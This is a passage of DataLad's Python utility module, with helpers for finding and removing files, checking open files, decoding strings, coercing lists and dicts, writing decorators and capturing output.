files known to be datalad meta-data files (e.g. under\\n .datalad/ subdirectory) (regex: `%r`)\\n topdir: string, optional\\n Directory where to search\\n dirs: bool, optional\\n Whether to match directories as well as files\\n \\\"\\\"\\\"\\n for dirpath, dirnames, filenames in os.walk(topdir):\\n names = (dirnames + filenames) if dirs else filenames\\n # TODO: might want to uniformize on windows to use '/'\\n paths = (op.join(dirpath, name) for name in names)\\n for path in filter(re.compile(regex).search, paths):\\n path = path.rstrip(sep)\\n if exclude and re.search(exclude, path):\\n continue\\n if exclude_vcs and re.search(_VCS_REGEX, path):\\n continue\\n if exclude_datalad and re.search(_DATALAD_REGEX, path):\\n continue\\n yield path\\nfind_files.__doc__ %= (_VCS_REGEX, _DATALAD_REGEX) # type: ignore[operator]\\n\\n\\ndef expandpath(path: str | Path, force_absolute: bool =True) -> str:\\n \\\"\\\"\\\"Expand all variables and user handles in a path.\\n\\n By default return an absolute path\\n \\\"\\\"\\\"\\n path = expandvars(expanduser(path))\\n if force_absolute:\\n path = abspath(path)\\n return path\\n\\n\\ndef posix_relpath(path: str | Path, start: Optional[str | Path]=None) -> str:\\n \\\"\\\"\\\"Behave like os.path.relpath, but always return POSIX paths...\\n\\n on any platform.\\\"\\\"\\\"\\n # join POSIX style\\n return posixpath.join(\\n # split and relpath native style\\n # python2.7 ntpath implementation of relpath cannot handle start=None\\n *split(\\n relpath(path, start=start if start is not None else '')))\\n\\n\\ndef is_explicit_path(path: str | Path) -> bool:\\n \\\"\\\"\\\"Return whether a path explicitly points to a location\\n\\n Any absolute path, or relative path starting with either '../' or\\n './' is assumed to indicate a location on the filesystem. Any other\\n path format is not considered explicit.\\\"\\\"\\\"\\n path = expandpath(path, force_absolute=False)\\n return isabs(path) \\\\\\n or path.startswith(os.curdir + os.sep) \\\\\\n or path.startswith(os.pardir + os.sep)\\n\\n\\ndef rotree(path: str | Path, ro: bool =True, chmod_files: bool =True) -> None:\\n \\\"\\\"\\\"To make tree read-only or writable\\n\\n Parameters\\n ----------\\n path : string\\n Path to the tree/directory to chmod\\n ro : bool, optional\\n Whether to make it R/O (default) or RW\\n chmod_files : bool, optional\\n Whether to operate also on files (not just directories)\\n \\\"\\\"\\\"\\n if ro:\\n chmod = lambda f: os.chmod(f, os.stat(f).st_mode & ~stat.S_IWRITE)\\n else:\\n chmod = lambda f: os.chmod(f, os.stat(f).st_mode | stat.S_IWRITE | stat.S_IREAD)\\n\\n for root, dirs, files in os.walk(path, followlinks=False):\\n if chmod_files:\\n for f in files:\\n fullf = op.join(root, f)\\n # might be the \\\"broken\\\" symlink which would fail to stat etc\\n if exists(fullf):\\n chmod(fullf)\\n chmod(root)\\n\\n\\ndef rmtree(path: str | Path, chmod_files: bool | Literal[\\\"auto\\\"] ='auto', children_only: bool =False, *args: Any, **kwargs: Any) -> None:\\n \\\"\\\"\\\"To remove git-annex .git it is needed to make all files and directories writable again first\\n\\n Parameters\\n ----------\\n path: Path or str\\n Path to remove\\n chmod_files : string or bool, optional\\n Whether to make files writable also before removal. Usually it is just\\n a matter of directories to have write permissions.\\n If 'auto' it would chmod files on windows by default\\n children_only : bool, optional\\n If set, all files and subdirectories would be removed while the path\\n itself (must be a directory) would be preserved\\n `*args` :\\n `**kwargs` :\\n Passed into shutil.rmtree call\\n \\\"\\\"\\\"\\n # Give W permissions back only to directories, no need to bother with files\\n if chmod_files == 'auto':\\n chmod_files = on_windows\\n # TODO: yoh thinks that if we could quickly check our Flyweight for\\n # repos if any of them is under the path, and could call .precommit\\n # on those to possibly stop batched processes etc, we did not have\\n # to do it on case by case\\n # Check for open files\\n assert_no_open_files(path)\\n\\n # TODO the whole thing should be reimplemented with pathlib, but for now\\n # at least accept Path\\n path = str(path)\\n\\n if children_only:\\n if not isdir(path):\\n raise ValueError(\\\"Can remove children only of directories\\\")\\n for p in os.listdir(path):\\n rmtree(op.join(path, p))\\n return\\n if not (islink(path) or not isdir(path)):\\n rotree(path, ro=False, chmod_files=chmod_files)\\n if on_windows:\\n # shutil fails to remove paths that exceed 260 characters on Windows machines\\n # that did not enable long path support. A workaround to remove long paths\\n # anyway is to prepend \\\\\\\\?\\\\ to the path.\\n # https://docs.microsoft.com/en-us/windows/win32/fileio/naming-a-file?redirectedfrom=MSDN#win32-file-namespaces\\n path = r'\\\\\\\\?\\\\ '.strip() + path\\n _rmtree(path, *args, **kwargs)\\n else:\\n # just remove the symlink\\n unlink(path)\\n\\n\\ndef rmdir(path: str | Path, *args: Any, **kwargs: Any) -> None:\\n \\\"\\\"\\\"os.rmdir with our optional checking for open files\\\"\\\"\\\"\\n assert_no_open_files(path)\\n os.rmdir(path)\\n\\n\\ndef get_open_files(path: str | Path, log_open: int = False) -> dict[str, Any]:\\n \\\"\\\"\\\"Get open files under a path\\n\\n Note: This function is very slow on Windows.\\n\\n Parameters\\n ----------\\n path : str\\n File or directory to check for open files under\\n log_open : bool or int\\n If set - logger level to use\\n\\n Returns\\n -------\\n dict\\n path : pid\\n\\n \\\"\\\"\\\"\\n # Original idea: https://stackoverflow.com/a/11115521/1265472\\n import psutil\\n files = {}\\n # since the ones returned by psutil would not be aware of symlinks in the\\n # path we should also get realpath for path\\n # do absolute() in addition to always get an absolute path\\n # even with non-existing paths on windows\\n path = str(Path(path).resolve().absolute())\\n for proc in psutil.process_iter():\\n try:\\n open_paths = [p.path for p in proc.open_files()] + [proc.cwd()]\\n for p in open_paths:\\n # note: could be done more efficiently so we do not\\n # renormalize path over and over again etc\\n if path_startswith(p, path):\\n files[p] = proc\\n # Catch a race condition where a process ends\\n # before we can examine its files\\n except psutil.NoSuchProcess:\\n pass\\n except psutil.AccessDenied:\\n pass\\n\\n if files and log_open:\\n lgr.log(log_open, \\\"Open files under %s: %s\\\", path, files)\\n return files\\n\\n\\n_assert_no_open_files_cfg = os.environ.get('DATALAD_ASSERT_NO_OPEN_FILES')\\nif _assert_no_open_files_cfg:\\n def assert_no_open_files(path: str | Path) -> None:\\n files = get_open_files(path, log_open=40)\\n if _assert_no_open_files_cfg == 'assert':\\n assert not files, \\\"Got following files still open: %s\\\" % ','.join(files)\\n elif files:\\n if _assert_no_open_files_cfg == 'pdb':\\n import pdb\\n pdb.set_trace()\\n elif _assert_no_open_files_cfg == 'epdb':\\n import epdb # type: ignore[import]\\n epdb.serve()\\n pass\\n # otherwise we would just issue that error message in the log\\nelse:\\n def assert_no_open_files(path: str | Path) -> None:\\n pass\\n\\n\\ndef rmtemp(f: str | Path, *args: Any, **kwargs: Any) -> None:\\n \\\"\\\"\\\"Wrapper to centralize removing of temp files so we could keep them around\\n\\n It will not remove the temporary file/directory if DATALAD_TESTS_TEMP_KEEP\\n environment variable is defined\\n \\\"\\\"\\\"\\n if not os.environ.get('DATALAD_TESTS_TEMP_KEEP'):\\n if not os.path.lexists(f):\\n lgr.debug(\\\"Path %s does not exist, so can't be removed\\\", f)\\n return\\n lgr.log(5, \\\"Removing temp file: %s\\\", f)\\n # Can also be a directory\\n if isdir(f):\\n rmtree(f, *args, **kwargs)\\n else:\\n unlink(f)\\n else:\\n lgr.info(\\\"Keeping temp file: %s\\\", f)\\n\\n\\n@overload\\ndef file_basename(name: str | Path, return_ext: Literal[True]) -> tuple[str, str]:\\n ...\\n\\n@overload\\ndef file_basename(name: str | Path, return_ext: Literal[False] = False) -> str:\\n ...\\n\\ndef file_basename(name: str | Path, return_ext: bool =False) -> str | tuple[str, str]:\\n \\\"\\\"\\\"\\n Strips up to 2 extensions of length up to 4 characters and starting with alpha\\n not a digit, so we could get rid of .tar.gz etc\\n \\\"\\\"\\\"\\n bname = basename(name)\\n fbname = re.sub(r'(\\\\.[a-zA-Z_]\\\\S{1,4}){0,2}$', '', bname)\\n if return_ext:\\n return fbname, bname[len(fbname) + 1:]\\n else:\\n return fbname\\n\\n\\n# unused in -core\\ndef escape_filename(filename: str) -> str:\\n \\\"\\\"\\\"Surround filename in \\\"\\\" and escape \\\" in the filename\\n \\\"\\\"\\\"\\n filename = filename.replace('\\\"', r'\\\\\\\"').replace('`', r'\\\\`')\\n filename = '\\\"%s\\\"' % filename\\n return filename\\n\\n\\n# unused in -core\\ndef encode_filename(filename: str | bytes) -> bytes:\\n \\\"\\\"\\\"Encode unicode filename\\n \\\"\\\"\\\"\\n if isinstance(filename, str):\\n return filename.encode(sys.getfilesystemencoding())\\n else:\\n return filename\\n\\n\\n# unused in -core\\ndef decode_input(s: str | bytes) -> str:\\n \\\"\\\"\\\"Given input string/bytes, decode according to stdin codepage (or UTF-8)\\n if not defined\\n\\n If fails -- issue warning and decode allowing for errors\\n being replaced\\n \\\"\\\"\\\"\\n if isinstance(s, str):\\n return s\\n else:\\n encoding = sys.stdin.encoding or 'UTF-8'\\n try:\\n return s.decode(encoding)\\n except UnicodeDecodeError as exc:\\n lgr.warning(\\n \\\"Failed to decode input string using %s encoding. \\\"\\n \\\"Decoding allowing for errors\\\", encoding)\\n return s.decode(encoding, errors='replace')\\n\\n\\n# unused in -core\\nif on_windows:\\n def lmtime(filepath: str | Path, mtime: int | float) -> None:\\n \\\"\\\"\\\"Set mtime for files. On Windows a merely adapter to os.utime\\n \\\"\\\"\\\"\\n os.utime(filepath, (time.time(), mtime))\\nelse:\\n def lmtime(filepath: str | Path, mtime: int | float) -> None:\\n \\\"\\\"\\\"Set mtime for files, while not de-referencing symlinks.\\n\\n To overcome absence of os.lutime\\n\\n Works only on linux and OSX ATM\\n \\\"\\\"\\\"\\n from .cmd import WitlessRunner\\n\\n # convert mtime to format touch understands [[CC]YY]MMDDhhmm[.SS]\\n smtime = time.strftime(\\\"%Y%m%d%H%M.%S\\\", time.localtime(mtime))\\n lgr.log(3, \\\"Setting mtime for %s to %s == %s\\\", filepath, mtime, smtime)\\n WitlessRunner().run(['touch', '-h', '-t', '%s' % smtime, str(filepath)])\\n filepath = Path(filepath)\\n rfilepath = filepath.resolve()\\n if filepath.is_symlink() and rfilepath.exists():\\n # trust no one - adjust also of the target file\\n # since it seemed like downloading under OSX (was it using curl?)\\n # didn't bother with timestamps\\n lgr.log(3, \\\"File is a symlink to %s Setting mtime for it to %s\\\",\\n rfilepath, mtime)\\n os.utime(str(rfilepath), (time.time(), mtime))\\n # doesn't work on OSX\\n # Runner().run(['touch', '-h', '-d', '@%s' % mtime, filepath])\\n\\n\\n# See <https://github.com/python/typing/discussions/1366> for a request for a\\n# better way to annotate this function.\\ndef ensure_tuple_or_list(obj: Any) -> list | tuple:\\n \\\"\\\"\\\"Given an object, wrap into a tuple if not list or tuple\\n \\\"\\\"\\\"\\n if isinstance(obj, (list, tuple)):\\n return tuple(obj)\\n return (obj,)\\n\\n\\nListOrSet = TypeVar(\\\"ListOrSet\\\", list, set)\\n\\n\\n# TODO: Improve annotation:\\ndef ensure_iter(s: Any, cls: type[ListOrSet], copy: bool=False, iterate: bool=True) -> ListOrSet:\\n \\\"\\\"\\\"Given not a list, would place it into a list. If None - empty list is returned\\n\\n Parameters\\n ----------\\n s: list or anything\\n cls: class\\n Which iterable class to ensure\\n copy: bool, optional\\n If correct iterable is passed, it would generate its shallow copy\\n iterate: bool, optional\\n If it is not a list, but something iterable (but not a str)\\n iterate over it.\\n \\\"\\\"\\\"\\n\\n if isinstance(s, cls):\\n return s if not copy else shallow_copy(s)\\n elif isinstance(s, str):\\n return cls((s,))\\n elif iterate and hasattr(s, '__iter__'):\\n return cls(s)\\n elif s is None:\\n return cls()\\n else:\\n return cls((s,))\\n\\n\\n# TODO: Improve annotation:\\ndef ensure_list(s: Any, copy: bool=False, iterate: bool=True) -> list:\\n \\\"\\\"\\\"Given not a list, would place it into a list. If None - empty list is returned\\n\\n Parameters\\n ----------\\n s: list or anything\\n copy: bool, optional\\n If list is passed, it would generate a shallow copy of the list\\n iterate: bool, optional\\n If it is not a list, but something iterable (but not a str)\\n iterate over it.\\n \\\"\\\"\\\"\\n return ensure_iter(s, list, copy=copy, iterate=iterate)\\n\\n\\n# TODO: Improve annotation:\\ndef ensure_result_list(r: Any) -> list:\\n \\\"\\\"\\\"Return a list of result records\\n\\n Largely same as ensure_list, but special casing a single dict being passed\\n in, which a plain `ensure_list` would iterate over. Hence, this deals with\\n the three ways datalad commands return results:\\n - single dict\\n - list of dicts\\n - generator\\n\\n Used for result assertion helpers.\\n \\\"\\\"\\\"\\n return [r] if isinstance(r, dict) else ensure_list(r)\\n\\n@overload\\ndef ensure_list_from_str(s: str, sep: str='\\\\n') -> Optional[list[str]]:\\n ...\\n\\n@overload\\ndef ensure_list_from_str(s: list[T], sep: str='\\\\n') -> Optional[list[T]]:\\n ...\\n\\ndef ensure_list_from_str(s: str | list[T], sep: str='\\\\n') -> Optional[list[str]] | Optional[list[T]]:\\n \\\"\\\"\\\"Given a multiline string convert it to a list of return None if empty\\n\\n Parameters\\n ----------\\n s: str or list\\n \\\"\\\"\\\"\\n\\n if not s:\\n return None\\n\\n if isinstance(s, list):\\n return s\\n return s.split(sep)\\n\\n@overload\\ndef ensure_dict_from_str(s: str, sep: str = '\\\\n') -> Optional[dict[str, str]]:\\n ...\\n\\n@overload\\ndef ensure_dict_from_str(s: dict[K, V], sep: str = '\\\\n') -> Optional[dict[K, V]]:\\n ...\\n\\ndef ensure_dict_from_str(s: str | dict[K, V], sep: str = '\\\\n') -> Optional[dict[str, str]] | Optional[dict[K, V]]:\\n \\\"\\\"\\\"Given a multiline string with key=value items convert it to a dictionary\\n\\n Parameters\\n ----------\\n s: str or dict\\n\\n Returns None if input s is empty\\n \\\"\\\"\\\"\\n\\n if not s:\\n return None\\n\\n if isinstance(s, dict):\\n return s\\n\\n out: dict[str, str] = {}\\n values = ensure_list_from_str(s, sep=sep)\\n assert values is not None\\n for value_str in values:\\n if '=' not in value_str:\\n raise ValueError(\\\"{} is not in key=value format\\\".format(repr(value_str)))\\n k, v = value_str.split('=', 1)\\n if k in out:\\n err = \\\"key {} was already defined in {}, but new value {} was provided\\\".format(k, out, v)\\n raise ValueError(err)\\n out[k] = v\\n return out\\n\\n\\ndef ensure_bytes(s: str | bytes, encoding: str='utf-8') -> bytes:\\n \\\"\\\"\\\"Convert/encode unicode string to bytes.\\n\\n If `s` isn't a string, return it as is.\\n\\n Parameters\\n ----------\\n encoding: str, optional\\n Encoding to use. \\\"utf-8\\\" is the default\\n \\\"\\\"\\\"\\n if not isinstance(s, str):\\n return s\\n return s.encode(encoding)\\n\\n\\ndef ensure_unicode(s: str | bytes, encoding: Optional[str]=None, confidence: Optional[float]=None) -> str:\\n \\\"\\\"\\\"Convert/decode bytestring to unicode.\\n\\n If `s` isn't a bytestring, return it as is.\\n\\n Parameters\\n ----------\\n encoding: str, optional\\n Encoding to use. If None, \\\"utf-8\\\" is tried, and then if not a valid\\n UTF-8, encoding will be guessed\\n confidence: float, optional\\n A value between 0 and 1, so if guessing of encoding is of lower than\\n specified confidence, ValueError is raised\\n \\\"\\\"\\\"\\n if not isinstance(s, bytes):\\n return s\\n if encoding is None:\\n # Figure out encoding, defaulting to 'utf-8' which is our common\\n # target in contemporary digital society\\n try:\\n return s.decode('utf-8')\\n except UnicodeDecodeError as exc:\\n lgr.debug(\\\"Failed to decode a string as utf-8: %s\\\",\\n CapturedException(exc))\\n # And now we could try to guess\\n from chardet import detect\\n enc = detect(s)\\n denc = enc.get('encoding', None)\\n if denc:\\n denc_confidence = enc.get('confidence', 0)\\n if confidence is not None and denc_confidence < confidence:\\n raise ValueError(\\n \\\"Failed to auto-detect encoding with high enough \\\"\\n \\\"confidence. Highest confidence was %s for %s\\\"\\n % (denc_confidence, denc)\\n )\\n lgr.log(5, \\\"Auto-detected encoding to be %s\\\", denc)\\n return s.decode(denc)\\n else:\\n raise ValueError(\\n \\\"Could not decode value as utf-8, or to guess its encoding: %s\\\"\\n % repr(s)\\n )\\n else:\\n return s.decode(encoding)\\n\\n\\ndef ensure_bool(s: Any) -> bool:\\n \\\"\\\"\\\"Convert value into boolean following convention for strings\\n\\n to recognize on,True,yes as True, off,False,no as False\\n \\\"\\\"\\\"\\n if isinstance(s, str):\\n if s.isdigit():\\n return bool(int(s))\\n sl = s.lower()\\n if sl in {'y', 'yes', 'true', 'on'}:\\n return True\\n elif sl in {'n', 'no', 'false', 'off'}:\\n return False\\n else:\\n raise ValueError(\\\"Do not know how to treat %r as a boolean\\\" % s)\\n return bool(s)\\n\\n\\ndef unique(seq: Sequence[T], key: Optional[Callable[[T], Any]]=None, reverse: bool=False) -> list[T]:\\n \\\"\\\"\\\"Given a sequence return a list only with unique elements while maintaining order\\n\\n This is the fastest solution. See\\n https://www.peterbe.com/plog/uniqifiers-benchmark\\n and\\n http://stackoverflow.com/a/480227/1265472\\n for more information.\\n Enhancement -- added ability to compare for uniqueness using a key function\\n\\n Parameters\\n ----------\\n seq:\\n Sequence to analyze\\n key: callable, optional\\n Function to call on each element so we could decide not on a full\\n element, but on its member etc\\n reverse: bool, optional\\n If True, uniqueness checked in the reverse order, so that the later ones\\n will take the order\\n \\\"\\\"\\\"\\n seen: set[T] = set()\\n seen_add = seen.add\\n\\n if reverse:\\n def trans(x: Sequence[T]) -> Iterable[T]:\\n return reversed(x)\\n else:\\n def trans(x: Sequence[T]) -> Iterable[T]:\\n return x\\n\\n if key is None:\\n out = [x for x in trans(seq) if not (x in seen or seen_add(x))]\\n else:\\n # OPT: could be optimized, since key is called twice, but for our cases\\n # should be just as fine\\n out = [x for x in trans(seq) if not (key(x) in seen or seen_add(key(x)))]\\n\\n return out[::-1] if reverse else out\\n\\n\\n# TODO: Annotate (would be made easier if the return value was always a dict\\n# instead of doing `v.__class__(...)`)\\ndef map_items(func, v):\\n \\\"\\\"\\\"A helper to apply `func` to all elements (keys and values) within dict\\n\\n No type checking of values passed to func is done, so `func`\\n should be resilient to values which it should not handle\\n\\n Initial usecase - apply_recursive(url_fragment, ensure_unicode)\\n \\\"\\\"\\\"\\n # map all elements within item\\n return v.__class__(\\n item.__class__(map(func, item))\\n for item in v.items()\\n )\\n\\n\\ndef partition(items: Iterable[T], predicate: Callable[[T], Any]=bool) -> tuple[Iterator[T], Iterator[T]]:\\n \\\"\\\"\\\"Partition `items` by `predicate`.\\n\\n Parameters\\n ----------\\n items : iterable\\n predicate : callable\\n A function that will be mapped over each element in `items`. The\\n elements will partitioned based on whether the return value is false or\\n true.\\n\\n Returns\\n -------\\n A tuple with two generators, the first for 'false' items and the second for\\n 'true' ones.\\n\\n Notes\\n -----\\n Taken from Peter Otten's snippet posted at\\n https://nedbatchelder.com/blog/201306/filter_a_list_into_two_parts.html\\n \\\"\\\"\\\"\\n a, b = tee((predicate(item), item) for item in items)\\n return ((item for pred, item in a if not pred),\\n (item for pred, item in b if pred))\\n\\n\\ndef generate_chunks(container: list[T], size: int) -> Iterator[list[T]]:\\n \\\"\\\"\\\"Given a container, generate chunks from it with size up to `size`\\n \\\"\\\"\\\"\\n # There could be a \\\"smarter\\\" solution but I think this would suffice\\n assert size > 0, \\\"Size should be non-0 positive\\\"\\n while container:\\n yield container[:size]\\n container = container[size:]\\n\\n\\ndef generate_file_chunks(files: list[str], cmd: str | list[str] | None = None) -> Iterator[list[str]]:\\n \\\"\\\"\\\"Given a list of files, generate chunks of them to avoid exceeding cmdline length\\n\\n Parameters\\n ----------\\n files: list of str\\n cmd: str or list of str, optional\\n Command to account for as well\\n \\\"\\\"\\\"\\n files = ensure_list(files)\\n cmd = ensure_list(cmd)\\n\\n maxl = max(map(len, files)) if files else 0\\n chunk_size = max(\\n 1, # should at least be 1. If blows then - not our fault\\n (CMD_MAX_ARG\\n - sum((len(x) + 3) for x in cmd)\\n - 4 # for '--' below\\n ) // (maxl + 3) # +3 for possible quotes and a space\\n )\\n # TODO: additional treatment for \\\"too many arguments\\\"? although\\n # as https://github.com/datalad/datalad/issues/1883#issuecomment\\n # -436272758\\n # shows there seems to be no hardcoded limit on # of arguments,\\n # but may be we decide to go for smth like follow to be on safe side\\n # chunk_size = min(10240 - len(cmd), chunk_size)\\n file_chunks = generate_chunks(files, chunk_size)\\n return file_chunks\\n\\n\\n#\\n# Generators helpers\\n#\\n\\ndef saved_generator(gen: Iterable[T]) -> tuple[Iterator[T], Iterator[T]]:\\n \\\"\\\"\\\"Given a generator returns two generators, where 2nd one just replays\\n\\n So the first one would be going through the generated items and 2nd one\\n would be yielding saved items\\n \\\"\\\"\\\"\\n saved = []\\n\\n def gen1() -> Iterator[T]:\\n for x in gen: # iterating over original generator\\n saved.append(x)\\n yield x\\n\\n def gen2() -> Iterator[T]:\\n for x in saved: # yielding saved entries\\n yield x\\n\\n return gen1(), gen2()\\n\\n\\n#\\n# Decorators\\n#\\n\\n# Originally better_wraps was created to provide `wrapt`-based, instead of\\n# `functools.wraps` implementation to preserve the correct signature of the\\n# decorated function. By using inspect.signature in our getargspec, which\\n# works fine on `functools.wraps`ed functions, we mediated this necessity.\\nbetter_wraps = wraps\\n\\n\\n# TODO: Annotate:\\n# Borrowed from pandas\\n# Copyright: 2011-2014, Lambda Foundry, Inc. and PyData Development Team\\n# License: BSD-3\\ndef optional_args(decorator):\\n \\\"\\\"\\\"allows a decorator to take optional positional and keyword arguments.\\n Assumes that taking a single, callable, positional argument means that\\n it is decorating a function, i.e. something like this::\\n\\n @my_decorator\\n def function(): pass\\n\\n Calls decorator with decorator(f, `*args`, `**kwargs`)\\\"\\\"\\\"\\n\\n @better_wraps(decorator)\\n def wrapper(*args, **kwargs):\\n def dec(f):\\n return decorator(f, *args, **kwargs)\\n\\n is_decorating = not kwargs and len(args) == 1 and isinstance(args[0], Callable)\\n if is_decorating:\\n f = args[0]\\n args = []\\n return dec(f)\\n else:\\n return dec\\n\\n return wrapper\\n\\n\\n# TODO: just provide decorators for tempfile.mk* functions. This is ugly!\\ndef get_tempfile_kwargs(tkwargs: Optional[dict[str, Any]]=None, prefix: str=\\\"\\\", wrapped: Optional[Callable]=None) -> dict[str, Any]:\\n \\\"\\\"\\\"Updates kwargs to be passed to tempfile. calls depending on env vars\\n \\\"\\\"\\\"\\n if tkwargs is None:\\n tkwargs_ = {}\\n else:\\n # operate on a copy of tkwargs to avoid any side-effects\\n tkwargs_ = tkwargs.copy()\\n\\n # TODO: don't remember why I had this one originally\\n # if len(targs)<2 and \\\\\\n if 'prefix' not in tkwargs_:\\n tkwargs_['prefix'] = '_'.join(\\n ['datalad_temp'] +\\n ([prefix] if prefix else []) +\\n ([''] if (on_windows or not wrapped) else [wrapped.__name__]))\\n\\n directory = os.environ.get('TMPDIR')\\n if directory and 'dir' not in tkwargs_:\\n tkwargs_['dir'] = directory\\n\\n return tkwargs_\\n\\n\\ndef line_profile(func: Callable[P, T]) -> Callable[P, T]:\\n \\\"\\\"\\\"Q&D helper to line profile the function and spit out stats\\n \\\"\\\"\\\"\\n import line_profiler # type: ignore[import]\\n prof = line_profiler.LineProfiler()\\n\\n @wraps(func)\\n def _wrap_line_profile(*args: P.args, **kwargs: P.kwargs) -> T:\\n try:\\n pfunc = prof(func)\\n return pfunc(*args, **kwargs)\\n finally:\\n prof.print_stats()\\n return _wrap_line_profile\\n\\n\\n# unused in -core\\n@optional_args\\ndef collect_method_callstats(func: Callable[P, T]) -> Callable[P, T]:\\n \\\"\\\"\\\"Figure out methods which call the method repeatedly on the same instance\\n\\n Use case(s):\\n - .repo is expensive since does all kinds of checks.\\n - .config is expensive transitively since it calls .repo each time\\n\\n TODO:\\n - fancy one could look through the stack for the same id(self) to see if\\n that location is already in memo. That would hint to the cases where object\\n is not passed into underlying functions, causing them to redo the same work\\n over and over again\\n - ATM might flood with all \\\"1 lines\\\" calls which are not that informative.\\n The underlying possibly suboptimal use might be coming from their callers.\\n It might or not relate to the previous TODO\\n \\\"\\\"\\\"\\n import traceback\\n from collections import defaultdict\\n from time import time\\n memo: defaultdict[tuple[int, str], defaultdict[int, int]] = defaultdict(lambda: defaultdict(int)) # it will be a dict of lineno: count\\n # gross timing\\n times = []\\n toppath = dirname(__file__) + sep\\n\\n @wraps(func)\\n def _wrap_collect_method_callstats(*args: P.args, **kwargs: P.kwargs) -> T:\\n try:\\n self = args[0]\\n stack = traceback.extract_stack()\\n caller = stack[-2]\\n stack_sig = \\\\\\n \\\"{relpath}:{s.name}\\\".format(\\n s=caller, relpath=relpath(caller.filename, toppath))\\n sig = (id(self), stack_sig)\\n # we will count based on id(self) + wherefrom\\n if caller.lineno is not None:\\n memo[sig][caller.lineno] += 1\\n t0 = time()\\n return func(*args, **kwargs)\\n finally:\\n times.append(time() - t0)\\n pass\\n\\n def print_stats() -> None:\\n print(\\\"The cost of property {}:\\\".format(func.__name__))\\n if not memo:\\n print(\\\"None since no calls\\\")\\n return\\n # total count\\n counts = {k: sum(v.values()) for k,v in memo.items()}\\n total = sum(counts.values())\\n ids = {self_id for (self_id, _) in memo}\\n print(\\\" Total: {} calls from {} objects with {} contexts taking {:.2f} sec\\\"\\n .format(total, len(ids), len(memo), sum(times)))\\n # now we need to sort by value\\n for (self_id, caller), count in sorted(counts.items(), key=lambda x: x[1], reverse=True):\\n print(\\\" {} {}: {} from {} lines\\\"\\n .format(self_id, caller, count, len(memo[(self_id, caller)])))\\n\\n # Upon total exit we print the stats\\n import atexit\\n atexit.register(print_stats)\\n\\n return _wrap_collect_method_callstats\\n\\n\\n# Borrowed from duecredit to wrap duecredit-handling to guarantee failsafe\\ndef never_fail(f: Callable[P, T]) -> Callable[P, Optional[T]]:\\n \\\"\\\"\\\"Assure that function never fails -- all exceptions are caught\\n\\n Returns `None` if function fails internally.\\n \\\"\\\"\\\"\\n @wraps(f)\\n def wrapped_func(*args: P.args, **kwargs: P.kwargs) -> Optional[T]:\\n try:\\n return f(*args, **kwargs)\\n except Exception as e:\\n lgr.warning(\\n \\\"DataLad internal failure while running %s: %r. \\\"\\n \\\"Please report at https://github.com/datalad/datalad/issues\\\"\\n % (f, e)\\n )\\n return None\\n\\n if os.environ.get('DATALAD_ALLOW_FAIL', False):\\n return f\\n else:\\n return wrapped_func\\n\\n\\ndef shortened_repr(value: Any, l: int=30) -> str:\\n try:\\n if hasattr(value, '__repr__') and (value.__repr__ is not object.__repr__):\\n value_repr = repr(value)\\n if not value_repr.startswith('<') and len(value_repr) > l:\\n value_repr = \\\"<<%s++%d chars++%s>>\\\" % (\\n value_repr[:l - 16],\\n len(value_repr) - (l - 16 + 4),\\n value_repr[-4:]\\n )\\n elif value_repr.startswith('<') and value_repr.endswith('>') and ' object at 0x':\\n raise ValueError(\\\"I hate those useless long reprs\\\")\\n else:\\n raise ValueError(\\\"gimme class\\\")\\n except Exception as e:\\n value_repr = \\\"<%s>\\\" % value.__class__.__name__.split('.')[-1]\\n return value_repr\\n\\n\\ndef __auto_repr__(obj: Any, short: bool =True) -> str:\\n attr_names: tuple[str, ...] = tuple()\\n if hasattr(obj, '__dict__'):\\n attr_names += tuple(obj.__dict__.keys())\\n if hasattr(obj, '__slots__'):\\n attr_names += tuple(obj.__slots__)\\n\\n items = []\\n for attr in sorted(set(attr_names)):\\n if attr.startswith('_'):\\n continue\\n value = getattr(obj, attr)\\n # TODO: should we add this feature to minimize some talktative reprs\\n # such as of URL?\\n #if value is None:\\n # continue\\n items.append(\\\"%s=%s\\\" % (attr, shortened_repr(value) if short else value))\\n\\n return \\\"%s(%s)\\\" % (obj.__class__.__name__, ', '.join(items))\\n\\n\\n@optional_args\\ndef auto_repr(cls: type[T], short: bool=True) -> type[T]:\\n \\\"\\\"\\\"Decorator for a class to assign it an automagic quick and dirty __repr__\\n\\n It uses public class attributes to prepare repr of a class\\n\\n Original idea: http://stackoverflow.com/a/27799004/1265472\\n \\\"\\\"\\\"\\n\\n cls.__repr__ = lambda obj:__auto_repr__(obj, short=short) # type: ignore[assignment]\\n return cls\\n\\n\\ndef todo_interface_for_extensions(f: T) -> T:\\n return f\\n\\n\\n#\\n# Context Managers\\n#\\n\\n\\n# unused in -core\\n@contextmanager\\ndef nothing_cm() -> Iterator[None]:\\n \\\"\\\"\\\"Just a dummy cm to programmically switch context managers\\\"\\\"\\\"\\n yield\\n\\n\\nclass SwallowOutputsAdapter:\\n \\\"\\\"\\\"Little adapter to help getting out/err values\\n \\\"\\\"\\\"\\n def __init__(self) -> None:\\n kw = get_tempfile_kwargs({}, prefix=\\\"outputs\\\")\\n\\n self._out = NamedTemporaryFile(delete=False, mode='w', **kw)\\n self._err = NamedTemporaryFile(delete=False, mode='w', **kw)\\n\\n def _read(self, h: IO[str]) -> str:\\n with open(h.name) as f:\\n return f.read()\\n\\n @property\\n def out(self) -> str:\\n if not self._out.closed:\\n self._out.flush()\\n return self._read(self._out)\\n\\n @property\\n def err(self) -> str:\\n if not self._err.closed:\\n self._err.flush()\\n return self._read(self._err)\\n\\n @property\\n def handles(self) -> tuple[TextIO, TextIO]:\\n return (cast(TextIO, self._out), cast(TextIO, self._err))\\n\\n def cleanup(self) -> None:\\n self._out.close()\\n self._err.close()\\n out_name = self._out.name\\n err_name = self._err.name\\n from datalad import cfg\\n if cfg.getbool('datalad.log', 'outputs', default=False) \\\\\\n and lgr.getEffectiveLevel() <= logging.DEBUG:\\n for s, sname in ((self.out, 'stdout'),\\n (self.err, 'stderr')):\\n if s:\\n pref = os.linesep + \\\"| \\\"\\n lgr.debug(\\\"Swallowed %s:%s%s\\\", sname, pref, s.replace(os.linesep, pref))\\n else:\\n lgr.debug(\\\"Nothing was swallowed for %s\\\", sname)\\n del self._out\\n del self._err\\n gc.collect()\\n rmtemp(out_name)\\n rmtemp(err_name)\\n\\n@contextmanager\\ndef swallow_outputs() -> Iterator[SwallowOutputsAdapter]:\\n \\\"\\\"\\\"Context manager to help consuming both stdout and stderr, and print()\\n\\n stdout is available as cm.out and stderr as cm.err whenever cm is the\\n yielded context manager.\\n Internally uses temporary files to guarantee absent side-effects of swallowing\\n into 